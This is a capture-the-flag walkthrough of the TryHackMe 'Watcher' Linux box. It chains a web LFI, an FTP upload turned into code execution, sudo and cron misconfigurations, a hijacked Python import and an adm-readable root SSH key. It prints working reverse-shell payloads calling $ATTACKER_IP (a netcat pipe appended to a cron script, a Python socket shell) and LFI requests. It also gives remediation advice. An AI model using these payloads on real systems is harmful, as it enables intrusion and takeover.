Watcher
A web LFI leaks FTP credentials; an FTP upload executed through the same LFI gives www-data, then a chain of sudo misconfigurations and a writable cron script hops www-data to toby to mat to will, and an adm-readable root SSH key finishes the box as root.
A walkthrough of the “Watcher” room from TryHackMe — a Linux box with seven flags. A web LFI leaks FTP credentials, and pairing that LFI with a writable FTP upload directory turns a read bug into *remote code execution**. From there the box is a ladder of privilege mistakes — a wide-open* sudo rule, a writable cron script, a Python module you can overwrite, and a root SSH key readable by group adm — each one a single hop to the next user, ending at root.
Watcher is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The recovered credentials and all flags are shown as
<redacted>/FLAG{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
A web LFI (?page=) leaks FTP credentials → FTP as ftpuser grabs a flag and has a writable files/ directory → upload a PHP shell and include it through the LFI → RCE as www-data (flag 3) → sudo -l: www-data may run anything as toby → sudo -u toby /bin/bash (flag 4) → a root cron runs toby’s writable /home/toby/jobs/cow.sh → append a reverse shell to land as mat (flag 5) → mat may sudo a Python script as will that imports a module mat can write (cmd.py) → hijack the import for a shell as will (flag 6) → will is in group adm, which can read /opt/backups/key.b64 → base64-decode it to root’s SSH key → SSH as root (flag 7).
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 (Ubuntu)
80/tcp open http Apache httpd 2.4.41 (Ubuntu) # Jekyll site "Corkplacemats"
The vulnerability
The entry point is a classic local file inclusion in the site’s page parameter. On its own it’s a read primitive, but the box also offers a writable FTP directory — and an LFI plus a place to write a file is remote code execution. Everything above www-data is a stack of host-level permission mistakes.
Insight
An LFI is a read primitive — until you can write a file somewhere on the box. Local file inclusion executes the file it includes, so upload your PHP (here through an anonymous-ish FTP account whose directory the web root can reach) and ask the LFI to include it. Read bug + writable path = RCE.
Step 1 — LFI → FTP credentials (flag 2)
# the page parameter is includable; leak source/config with a php filter wrapper:
curl "http://$IP/index.php?page=php://filter/convert.base64-encode/resource=index"
# ... reveals FTP credentials -> ftpuser : <redacted>
ftp -A $IP # ftpuser
ftp> get flag_2.txt # FLAG{<redacted>}
Step 2 — FTP upload + LFI include → www-data (flag 3)
ftp> cd files && put revshell.php
curl "http://$IP/index.php?page=/var/www/html/files/revshell" # LFI executes the upload
nc -lvnp 4444 # www-data
cat /var/www/html/more_secrets_*/flag_3.txt # FLAG{<redacted>}
Step 3 — sudo as toby (flag 4)
sudo -l # (toby) NOPASSWD: ALL
sudo -u toby /bin/bash
cat /home/toby/flag_4.txt # FLAG{<redacted>}
Step 4 — writable cron script → mat (flag 5)
cat /etc/crontab
# */1 * * * * mat /home/toby/jobs/cow.sh # runs as mat, but toby owns cow.sh
echo 'rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f' \
>> /home/toby/jobs/cow.sh
nc -lvnp 4445 # ~1 min later: shell as mat
cat /home/mat/flag_5.txt # FLAG{<redacted>}
Step 5 — writable Python import → will (flag 6)
mat may run a script as will, and that script does from cmd import get_command — where cmd.py lives in the same mat-writable directory. Overwrite the imported module:
sudo -l
# (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
cat >> /home/mat/scripts/cmd.py <<'EOF'
import socket,subprocess,os
s=socket.socket(); s.connect(("$ATTACKER_IP",4446))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
nc -lvnp 4446 # shell as will
cat /home/will/flag_6.txt # FLAG{<redacted>}
Step 6 — group adm reads root’s key → root (flag 7)
id # ... groups=...,4(adm)
find / -group adm 2>/dev/null # /opt/backups/key.b64
base64 -d /opt/backups/key.b64 > ssh.key && chmod 600 ssh.key
ssh -i ssh.key root@$IP
cat /root/flag_7.txt # FLAG{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated LFI leaks credentials and, combined with a writable upload path, yields remote code execution as www-data. From there four independent privilege mistakes — a NOPASSWD: ALL sudo rule, a root cron running a user-writable script, a sudo’d Python script importing a writable module, and a root SSH key readable by group adm — each escalate to the next account, ending in full root.
Recommended fix
Fix
- Fix the LFI: allow-list page names, never build an
include/requirepath from user input, and keep uploads off any path the app can include or execute. - Scope sudo tightly.
NOPASSWD: ALLas another user is a free shell; grant the single command actually needed. - A cron script must not be writable by a lower-privileged user — root-own it,
chmod 755, and keep it out of a user’s home. - A sudo’d script must not import from a writable directory. Pin
sys.path, or ship the module read-only alongside a non-writable script. - Never leave root’s SSH key readable by group
adm(or anyone). Rotate the exposed key.
Takeaways
- LFI + a writable directory = RCE. Inclusion executes — give it your file and it runs your code.
- Every hop here was a permission mistake, not an exploit: sudo
ALL, a writable cron, a writable import, anadm-readable key. - Always check your groups.
admreads logs — and on this box, root’s private key.
Watcher is a long, satisfying privesc ladder where each rung teaches a distinct Linux misconfiguration. Thanks for reading.